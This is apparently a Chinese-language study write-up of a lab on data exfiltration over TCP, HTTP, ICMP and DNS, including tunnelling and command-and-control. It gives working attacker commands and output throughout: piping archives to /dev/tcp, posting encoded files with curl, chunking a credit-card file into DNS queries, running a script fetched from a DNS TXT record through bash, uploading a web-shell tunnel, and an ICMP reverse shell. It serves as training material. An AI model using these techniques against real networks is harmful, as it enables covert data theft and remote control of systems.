:::info 当我们在攻击时,经常需要传输一些数据,但是目标会存在各种软件来检测我们的数据,我们需要找到一种方法来帮助我们将数据传输
:::
环境情况:
Domain Name | IP Address | Network Access |
---|---|---|
jump.thm.com | 192.168.0.133 | Net 1 and Net 2 |
uploader.thm.com | 172.20.0.100 | Net 1 |
flag.thm.com | 172.20.0.120 | Net 1 |
victim2.thm.com | 172.20.0.101 | Net 1 |
web.thm.com | 192.168.0.100 | Net 2 |
icmp.thm.com | 192.168.0.121 | Net 2 |
victim1.thm.com | 192.168.0.101 | Net 2 |
介绍
数据泄露是指获取未经授权的敏感数据副本并将其从组织网络内部移动到外部的过程
数据泄露的主要利用场景:
- 传统数据泄露
传统的数据渗漏方案是将敏感数据移出组织的网络。攻击者可以发出一个或多个网络请求来传输数据,具体取决于数据大小和 使用的协议。请注意,威胁行为者不关心对其请求的回复或响应。因此,所有流量都将在一个方向上,从网络内部到外部。一旦数据存储在攻击者的服务器上,他就会登录并获取数据
- 命令和控制通信
许多C2框架提供了建立通信通道的选项,包括用于发送命令和接收来自受害机器的响应的标准和非传统协议。在 C2 通信中,攻击者发送请求以在受害者的机器上执行命令的请求数量有限。然后,代理的客户端执行命令并通过非传统协议发送包含结果的回复。通信将沿两个方向进行:进出网络
- 隧道
在隧道场景中,攻击者使用这种数据渗漏技术在受害者和攻击者的机器之间建立通信通道。通信通道充当桥梁,让攻击者机器访问整个内部网络。建立连接时将持续发送和接收流量
TCP 隧道
:::info 这是最简单的一种方法很容易被检测到
:::
传统的 TCP 通信如何工作: 两台机器想要通信,那么其中一台必须监听并等待传入的流量
两台主机在 1337 端口进行 TCP 通信:
- Host1 在 1337 端口进行监听
- Host2 连接到 Host1 1337 端口
- Host1 建立连接
- 连接建立成功
我们在本机开启监听:
thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
Listening on [0.0.0.0] (family 0, port 8080)
在受害者主机上进行下方命令,将我们要发送的数据编码后发送出去:
thm@victim1:$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
- tar : 建立一个压缩文件
- 将 tar 文件使用它 base64 编码
- 将 base64 编码内容使用 EBCDIC 编码
- 使用重定向将其发送到目标
这时候在目标端就会将收到的数据存入
/tmp/task4-creds.data
中,我们需要将其解码并解压
thm@jump-box:/tmp/$ dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
thm@jump-box$ tar xvf task4-creds.tar
HTTP(S)
HTTP POST 请求
:::info
通过HTTP协议渗漏数据是最好的选择之一,因为它很难检测到。很难区分合法和恶意 HTTP 流量。我们将在数据泄露中使用 POST HTTP 方法,原因是 GET 请求,所有参数都注册到日志文件中。使用 POST 请求时,它不会。以下是 POST 方法的一些优点:- POST 请求永远不会被缓存
- POST 请求不会保留在浏览器历史记录中
- 不能为 POST 请求添加书签
- POST请求对数据长度没有限制
:::
HTTP/HTTPS 泄露
使用 HTTP 协议泄露,就是简单的上传一个文件
thm@victim1:~$ curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
上述方法接受到的文件是损坏的,这是应为 HTTP 上的 URL 编码将
+
转换为
thm@web:~$ sudo sed -i 's/ /+/g' /tmp/http.bs64
HTTP 隧道
在深入了解HTTP隧道细节之前,让我们讨论一个典型的场景,其中许多内部计算机无法从 Internet 访问。例如,在我们的场景中, 可以从 Internet 访问uploader.thm.com 服务器并向所有人提供 Web 服务。而 app.thm.com 服务器运行在本地,只为内网提供服务,如下图:我们需要先生成一个加密的客户端文件,将其上传到受害者服务器
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py generate -k thm
"$$$$$$'' 'M$ '$$$@m
:$$$$$$$$$$$$$$''$$$$'
'$' 'JZI'$$& $$$$'
'$$$ '$$$$
$$$$ J$$$$'
m$$$$ $$$$,
$$$$@ '$$$$_ Neo-reGeorg
'1t$$$$' '$$$$<
'$$$$$$$$$$' $$$$ version 3.8.0
'@$$$$' $$$$'
'$$$$ '$$$@
'z$$$$$$ @$$$
r$$$ $$|
'$$v c$$
'$$v $$v$$$$$$$$$#
$$x$$$$$$$$$twelve$$$@$'
@$$$@L ' '<@$$$$$$$$`
$$ '$$$
[ Github ] https://github.com/L-codes/neoreg
[+] Mkdir a directory: neoreg_servers
[+] Create neoreg server files:
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel_compatibility.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel_compatibility.jspx
=> neoreg_servers/tunnel.php
我们先目标提交其中一个文件,然后使用工具访问:
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k thm -u http://MACHINE_IP/uploader/files/tunnel.php
我们需要使用 neoreg.py 连接到客户端并提供密钥来解密隧道客户端。我们还需要提供一个 URL 到我们在上传机器上上传的PHP文件。
一旦它连接到隧道客户端,我们就可以使用隧道连接作为代理绑定到我们本地机器 127.0.0.1 的端口 1080 上。
例如,如果我们想访问 app.thm.com ,它的内部 IP 地址为 172.20.0.121 ,端口为 80 ,我们可以使用带有—socks5参数的 curl 命令 。我们也可以使用其他的代理应用,比如ProxyChains、FoxyProxy等,来与内网进行通信。
下图显示了流量通过上传器机器然后与内部网络设备通信的过程,在本例中,它是 App 机器。请注意,如果我们检查来自 App 机器的网络流量,我们会看到传入流量的源 IP 地址来自上传器机器。
root@AttackBox:~$ curl --socks5 127.0.0.1:1080 http://172.20.0.121:80
Welcome to APP Server!
ICMP
ICMP Data
在 ICMP 数据包结构中包含一个 Data
部分,该部分可以包含字符串或这其他信息
Data
部分是可选的,我们可以在通信期间指定该部分内容是什么
在 Linux
操作系统上,我们可以使用 -p
参数,以十六进制来发送数据,我们可以查看 ping 操作手册来确认:
现在我们要泄露 <font style="color:rgb(235, 87, 87);">thm:tryhackme</font>
我们要做的是将其转为 16 进制表示并使用 -p
指定:
root@AttackBox$ echo "thm:tryhackme" | xxd -p
74686d3a7472796861636b6d650a
root@AttackBox$ ping MACHINE_IP -c 1 -p 74686d3a7472796861636b6d650a
ICMP 数据泄露
现在我们已经了解了通过 ICMP 数据包手动发送数据的基本原理,我们可以使用 MSF 来获取数据,原理为: MSF 将捕获传入的 ICMP 数据包并等待文件开头 ( BOF ) 触发值。一旦接收到它,它就会写入磁盘,直到它获得文件结束 (EOF) 触发值
msf5 > use auxiliary/server/icmp_exfil
msf5 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src ATTACKBOX_IP
BPF_FILTER => icmp and not src ATTACKBOX_IP
msf5 auxiliary(server/icmp_exfil) > set INTERFACE eth0
INTERFACE => eth0
msf5 auxiliary(server/icmp_exfil) > run
[*] ICMP Listener started on eth0 (ATTACKBOX_IP). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)
我们使用 nping 工具来发送我们的 ICMP 数据包
thm@icmp-host:~# sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2022-04-25 23:23 EEST
SENT (0.0369s) ICMP [192.168.0.121 > ATTACKBOX_IP Echo request (type=8/code=0) id=7785 seq=1] IP [ttl=64 id=40595 iplen=39 ]
RCVD (0.0376s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=7785 seq=1] IP [ttl=63 id=12656 iplen=39 ]
RCVD (0.0755s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=7785 seq=1] IP [ttl=31 id=60759 iplen=32 ]
Max rtt: 38.577ms | Min rtt: 0.636ms | Avg rtt: 19.606ms
Raw packets sent: 1 (39B) | Rcvd: 2 (71B) | Lost: 0 (0.00%)
Nping done: 1 IP address pinged in 1.06 seconds
thm@icmp-host:~# sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2022-04-25 23:23 EEST
SENT (0.0312s) ICMP [192.168.0.121 > ATTACKBOX_IP Echo request (type=8/code=0) id=14633 seq=1] IP [ttl=64 id=13497 iplen=42 ]
RCVD (0.0328s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=14633 seq=1] IP [ttl=63 id=17031 iplen=42 ]
RCVD (0.0703s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=14633 seq=1] IP [ttl=31 id=41138 iplen=30 ]
Max rtt: 39.127ms | Min rtt: 1.589ms | Avg rtt: 20.358ms
Raw packets sent: 1 (42B) | Rcvd: 2 (72B) | Lost: 0 (0.00%)
Nping done: 1 IP address pinged in 1.06 seconds
thm@icmp-host:~# sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin2:password2"
Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2022-04-25 23:24 EEST
SENT (0.0354s) ICMP [192.168.0.121 > ATTACKBOX_IP Echo request (type=8/code=0) id=39051 seq=1] IP [ttl=64 id=32661 iplen=44 ]
RCVD (0.0358s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=39051 seq=1] IP [ttl=63 id=18581 iplen=44 ]
RCVD (0.0748s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=39051 seq=1] IP [ttl=31 id=2149 iplen=30 ]
Max rtt: 39.312ms | Min rtt: 0.371ms | Avg rtt: 19.841ms
Raw packets sent: 1 (44B) | Rcvd: 2 (74B) | Lost: 0 (0.00%)
Nping done: 1 IP address pinged in 1.07 seconds
thm@icmp-host:~# sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"
Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2022-04-25 23:24 EEST
SENT (0.0364s) ICMP [192.168.0.121 > ATTACKBOX_IP Echo request (type=8/code=0) id=33619 seq=1] IP [ttl=64 id=51488 iplen=31 ]
RCVD (0.0369s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=33619 seq=1] IP [ttl=63 id=19671 iplen=31 ]
RCVD (0.3760s) ICMP [ATTACKBOX_IP > 192.168.0.121 Echo reply (type=0/code=0) id=33619 seq=1] IP [ttl=31 id=1003 iplen=36 ]
Max rtt: 339.555ms | Min rtt: 0.391ms | Avg rtt: 169.973ms
Raw packets sent: 1 (31B) | Rcvd: 2 (67B) | Lost: 0 (0.00%)
Nping done: 1 IP address pinged in 1.07 seconds
thm@icmp-host:~#
执行完之后我们查看攻击主机
msf5 auxiliary(server/icmp_exfil) > run
[*] ICMP Listener started on eth0 (ATTACKBOX_IP). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)
[+] Beginning capture of "file.txt" data
[*] 30 bytes of data received in total
[+] End of File received. Saving "file.txt" to loot
[+] Incoming file "file.txt" saved to loot
[+] Loot filename: /root/.msf4/loot/20220425212408_default_ATTACKBOX_IP_icmp_exfil_838825.txt
ICMP C2
我们使用 GitHub - krabelize/icmpdoor 工具通过 ICMP 协议来执行命令,ICMPDoor 是一个用 Python3 和 scapy 编写的开源反向 shell。 该工具使用我们之前在此任务中讨论的相同概念,其中攻击者利用 ICMP 数据包中的数据部分。唯一的区别是攻击者发送的命令需要在受害者的机器上执行。执行命令后,受害机器会在数据部分的 ICMP 数据包中发送执行输出。
执行 icmpdoor 二进制文件指定了用于通信的接口和服务器端的目标 IP
thm@icmp-host:~$ sudo icmpdoor -i eth0 -d 192.168.0.133
接下来我们执行 icmp-cnc二进制文件以与受害者通信,一旦执行正确运行,就会通过 ICMP 协议建立通信通
thm@jump-box$ sudo icmp-cnc -i eth1 -d 192.168.0.121
shell: hostname
hostname
shell: icmp-host
DNS
DNS 配置
攻击主机:
域名 | IP地址 | 网络访问 |
---|---|---|
attacker.thm.com | 172.20.0.200 | Net 2 |
DNS:
DNS** **Record | Type | Value |
---|---|---|
attNS.tunnel.com | A | 172.20.0.200 |
att.tunnel.com | NS | attNS.tunnel.com |
DNS 泄露
介绍
由于DNS不是传输协议,因此许多组织不会定期监控 DNS 协议!几乎任何组织网络中的所有防火墙都允许使用 DNS 协议。出于这些原因,威胁参与者更喜欢使用 DNS 协议来隐藏他们的通信。 DNS协议具有需要考虑的限制, 如下所示, + 完全限定的FQDN 域名(包括 .separators) 的最大长度 为255 个 字符。 + 子域名(标签)长度不得超过 63个 字符(不包括.com、.net等)。 基于这些限制,我们可以使用有限数量的字符来通过域名传输数据。如果我们有一个大文件,例如 10 MB,可能需要超过 50000 个DNS请求才能完整传输文件。因此,这将是嘈杂的交通并且很容易被注意到和检测到。 下面我们来讨论一下Data Exfiltration over DNS的要求和步骤,具体如下:
- 攻击者注册域名,例如tunnel.com
- 攻击者将 tunnel.com 的 NS 记录指向攻击者控制的服务器。
- 恶意软件或攻击者将敏感数据从受害机器发送到他们控制的域名——例如,passw0rd.tunnel.com,其中passw0rd是需要传输的数据。
- DNS请求通过本地 DNS 服务器发送,通过 Internet 转发。
- 攻击者的权威DNS(恶意服务器)收到DNS请求。
- 最后,攻击者从域名中提取密码。
DNS 数据泄露
现在让我们解释手动DNS数据渗漏技术并展示它是如何工作的。假设我们有一个 包含敏感数据(例如信用卡信息)的creds.txt文件。要通过DNS协议移动它,我们需要对文件的内容进行编码并将其附加为子域名, 如下所示我们设置 att.tunnel.com 的权限名称服务器为我们的 attacker 主机
- 获取需要传输的所需数据。
- 使用其中一种编码技术对文件进行编码。
- 将编码的字符作为子域/标签发送。
- 考虑DNS协议的限制。请注意,我们可以在域名中添加尽可能多的数据,但我们必须将整个 URL 保持在 255 个字符以内,并且每个子域标签不能超过 63 个字符。如果确实超出了这些限制,我们将拆分数据并发送更多 DNS 请求!
thm@attacker$ sudo tcpdump -i eth0 udp port 53 -v
tcpdump: listening on eth0, link-type RAW (Raw IP), snapshot length 262144 bytes
然后连接到受害者主机:
thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
接着我们查看我们的攻击主机就可以收到数据
收到我们的DNS请求后,我们可以停止 tcpdump 工具并通过 删除不需要的字符串来清理接收到的数据,最后 使用 Base64 解码回数据,如下所示
thm@attacker:~$ sudo tcpdump -i eth0 udp port 53 -v
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
22:14:00.287440 IP (tos 0x0, ttl 64, id 60579, offset 0, flags [none], proto UDP (17), length 104)
172.20.0.1.56092 > attacker.domain: 19543% [1au] A? _.pDb2RlOiAxMzM3Cg==.att.tunnel.com. (76)
22:14:00.288208 IP (tos 0x0, ttl 64, id 60580, offset 0, flags [none], proto UDP (17), length 235)
172.20.0.1.36680 > attacker.domain: 23460% [1au] A? TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com. (207)
22:14:00.289643 IP (tos 0x0, ttl 64, id 48564, offset 0, flags [DF], proto UDP (17), length 69)
attacker.52693 > 172.20.0.1.domain: 3567+ PTR? 1.0.20.172.in-addr.arpa. (41)
22:14:00.289941 IP (tos 0x0, ttl 64, id 60581, offset 0, flags [DF], proto UDP (17), length 123)
172.20.0.1.domain > attacker.52693: 3567 NXDomain* 0/1/0 (95)
thm@attacker:~$ echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
Name: THM-user
Address: 1234 Internet, THM
Credit Card: 1234-1234-1234-1234
Expire: 05/05/2022
Code: 1337
DNS C2
例如,假设我们有一个需要在受害机器上执行的脚本。首先,我们需要将脚本编码为 Base64 表示,然后使用编码脚本的内容创建您控制的域名的TXT DNS记录。以下是需要添加到域名中的必需脚本示例:C2框架使用DNS协议进行通信,例如通过DNS协议发送命令执行请求和接收执行结果。他们还使用 TXT DNS 记录来运行释放程序以 在受害机器上下载额外的文件。 本节模拟如何通过DNS协议执行 bash 脚本。我们将使用 Web 界面将 TXT DNS 记录添加到 tunnel.com域名。
#!/bin/bash
ping -c 1 test.thm.com
将脚本内容 base64 编码
thm@victim2$ cat /tmp/script.sh | base64
IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
然后我们将编码的数据作为的我们的 DNS 记录的 TXT 值,添加后,让我们通过 请求本地DNS服务器解析 script.tunnel.com的 TXT 记录来确认我们已成功创建脚本的DNS记录。如果一切设置正确,我们应该会收到我们在上一步中添加的内容。
thm@victim2$ dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
DNS 隧道
:::info
攻击者使用 DNS 数据泄露技术通过 DNS 协议封装其他协议,例如 HTTP 请求。DNS 隧道建立了一个连续发送和接收数据的通信通道。:::
本节将介绍通过DNS建立通信通道所需的步骤。我们将该技术应用于我们提供的网络基础设施(JumpBox和Victim2),从网络 2 (192.168.0.0/24) 转向网络 1 (172.20.0.0/24) 并访问内部 Web 服务器我们将使用GitHub - yarrick/iodine工具来创建我们的DNS隧道通信,要建立DNS隧道,我们需要遵循以下步骤:
- 确保更新DNS记录并创建新的 NS 指向你的 AttackBox 机器(检查任务 8),或者你可以使用预配置的名称服务器,它指向攻击者机器(att.tunnel.com=172.20.0.200)。
- 从 AttackBox 或 Attacker 机器运行iodined服务器。(注意服务器端我们使用 iodine d)
- 在 JumpBox 上,运行 iodine 客户端以建立连接。(注意客户端我们使用碘 - 没有d)
- 通过SSH连接到创建的网络接口上的机器,以通过 DNS 创建代理。我们将使用 -D 参数来创建动态端口转发。
- 一旦建立了SSH连接,我们就可以使用本地 IP 和本地端口作为 Firefox 或 ProxyChains 中的代理。
thm@attacker$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
Opened dns0
Setting IP of dns0 to 10.1.1.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain att.tunnel.com
- 确保使用 sudo 执行命令。iodined 为通过DNS建立隧道创建了一个新的网络接口 (dns0) 。
- -f 参数是在前台运行服务器。
- -c 参数是跳过检查每个DNS请求的客户端 IP 地址和端口。
- -P 参数是设置用于身份验证的密码。
- 10.1.1.1/24 参数是为新网络接口 (dns0) 设置网络 IP。服务器的 IP 地址为 10.1.1.1,客户端为 10.1.1.2。
- att.tunnel.com 是我们之前设置的名称服务器。
thm@jump-box:~$ sudo iodine -P thmpass att.tunnel.com
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for att.tunnel.com to 127.0.0.11
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 10.1.1.2
Setting MTU of dns0 to 1130
Server tunnel IP is 10.1.1.1
Testing raw UDP data to the server (skip with -r)
Server is at 172.20.0.200, trying raw login: OK
Sending raw traffic directly to 172.20.0.200
Connection setup complete, transmitting data.
请注意,网络 10.1.1.1/24 上的所有通信都将通过DNS进行。我们将为动态端口转发功能使用 -D 参数,以将 SSH 会话用作代理。请注意,我们使用了 -f 参数来强制 ssh 进入后台。-4 参数强制 ssh 客户端仅绑定到 IPv4。
现在我们已经通过 dns0 网络连接到 JumpBox,打开一个新终端并使用 ProxyChains 或 Firefox 127.0.0.1 和端口 1080 作为代理设置。
root@attacker$ ssh thm@10.1.1.2 -4 -f -N -D 1080
root@attacker$ proxychains curl http://192.168.0.100/demo.php
root@attacker$ #OR
root@attacker$ curl --socks5 127.0.0.1:1080 http://192.168.0.100/demo.php
其他资源
LOTS Project - Living Off Trusted Sites : 是一个 Living Off Trusted Sites,可用于泄露数据或使用合法网站 进行C2通信